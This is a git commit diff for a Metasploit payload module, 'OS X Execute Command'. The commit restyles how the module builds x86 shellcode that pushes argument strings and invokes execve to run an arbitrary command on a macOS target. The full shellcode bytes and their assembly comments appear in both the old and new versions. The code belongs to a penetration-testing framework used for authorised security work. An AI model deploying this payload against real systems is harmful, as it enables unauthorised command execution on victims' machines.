parent
cd2e352971
commit
b64d0429ac
|
@ -26,15 +26,17 @@ module Metasploit3
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'OS X Execute Command',
|
'Name' => 'OS X Execute Command',
|
||||||
'Description' => 'Execute an arbitrary command',
|
'Description' => 'Execute an arbitrary command',
|
||||||
'Author' => [ 'snagg <snagg[at]openssl.it>',
|
'Author' =>
|
||||||
'argp <argp[at]census-labs.com>',
|
[
|
||||||
'joev <jvennix[at]rapid7.com>' ],
|
'snagg <snagg[at]openssl.it>',
|
||||||
|
'argp <argp[at]census-labs.com>',
|
||||||
|
'joev <jvennix[at]rapid7.com>'
|
||||||
|
],
|
||||||
'License' => BSD_LICENSE,
|
'License' => BSD_LICENSE,
|
||||||
'Platform' => 'osx',
|
'Platform' => 'osx',
|
||||||
'Arch' => ARCH_X86
|
'Arch' => ARCH_X86
|
||||||
))
|
))
|
||||||
|
|
||||||
# Register exec options
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('CMD', [ true, "The command string to execute" ]),
|
OptString.new('CMD', [ true, "The command string to execute" ]),
|
||||||
|
@ -53,39 +55,43 @@ module Metasploit3
|
||||||
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
|
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
|
||||||
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
|
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
|
||||||
|
|
||||||
|
payload = ''
|
||||||
|
|
||||||
# Stuff an array of arg strings into memory
|
# Stuff an array of arg strings into memory
|
||||||
payload = "\x31\xc0" + # xor eax, eax (eax => 0)
|
payload << "\x31\xc0" # xor eax, eax (eax => 0)
|
||||||
Rex::Arch::X86.call(arg_str.length) + # jmp over CMD_STR, stores &CMD_STR on stack
|
payload << Rex::Arch::X86.call(arg_str.length) # jmp over CMD_STR, stores &CMD_STR on stack
|
||||||
arg_str +
|
payload << arg_str
|
||||||
"\x5B" # pop ebx (ebx => &CMD_STR)
|
payload << "\x5B" # pop ebx (ebx => &CMD_STR)
|
||||||
|
|
||||||
# now EBX contains &cmd_parts[0], the exe path
|
# now EBX contains &cmd_parts[0], the exe path
|
||||||
if cmd_parts.length > 1
|
if cmd_parts.length > 1
|
||||||
# Build an array of pointers to arguments
|
# Build an array of pointers to arguments
|
||||||
payload += "\x89\xD9" + # mov ecx, ebx
|
payload << "\x89\xD9" # mov ecx, ebx
|
||||||
"\x50" + # push eax; null byte (end of array)
|
payload << "\x50" # push eax; null byte (end of array)
|
||||||
"\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
|
payload << "\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
|
||||||
|
|
||||||
cmd_parts[1..-1].each_with_index do |arg, idx|
|
cmd_parts[1..-1].each_with_index do |arg, idx|
|
||||||
|
l = [cmd_parts[idx].length+1].pack('V')
|
||||||
# can probably save space here by doing the loop in ASM
|
# can probably save space here by doing the loop in ASM
|
||||||
# for each arg, push its current memory location on to the stack
|
# for each arg, push its current memory location on to the stack
|
||||||
payload += "\x81\xC1" + # add ecx, ...
|
payload << "\x81\xC1" # add ecx, ...
|
||||||
[cmd_parts[idx].length+1].pack('V') +
|
payload << l # (cmd_parts[idx] is the prev arg)
|
||||||
# (cmd_parts[idx] is the prev arg)
|
payload << "\x51" # push ecx (&cmd_parts[idx])
|
||||||
"\x51" # push ecx (&cmd_parts[idx])
|
|
||||||
end
|
end
|
||||||
payload += "\x53" + # push ebx (&cmd_parts[0])
|
|
||||||
"\x89\xe1" + # mov ecx, esp (ptr to ptr to first str)
|
payload << "\x53" # push ebx (&cmd_parts[0])
|
||||||
"\x52" + # push edx
|
payload << "\x89\xe1" # mov ecx, esp (ptr to ptr to first str)
|
||||||
"\x51" # push ecx
|
payload << "\x52" # push edx
|
||||||
|
payload << "\x51" # push ecx
|
||||||
else
|
else
|
||||||
# pass NULL args array to execve() call
|
# pass NULL args array to execve() call
|
||||||
payload += "\x50\x50" # push eax, push eax
|
payload << "\x50\x50" # push eax, push eax
|
||||||
end
|
end
|
||||||
|
|
||||||
payload += "\x53" + # push ebx
|
payload << "\x53" # push ebx
|
||||||
"\xb0\x3b" + # mov al, 0x3b (execve)
|
payload << "\xb0\x3b" # mov al, 0x3b (execve)
|
||||||
"\x50" + # push eax
|
payload << "\x50" # push eax
|
||||||
"\xcd\x80" # int 0x80 (triggers execve syscall)
|
payload << "\xcd\x80" # int 0x80 (triggers execve syscall)
|
||||||
|
|
||||||
payload
|
payload
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue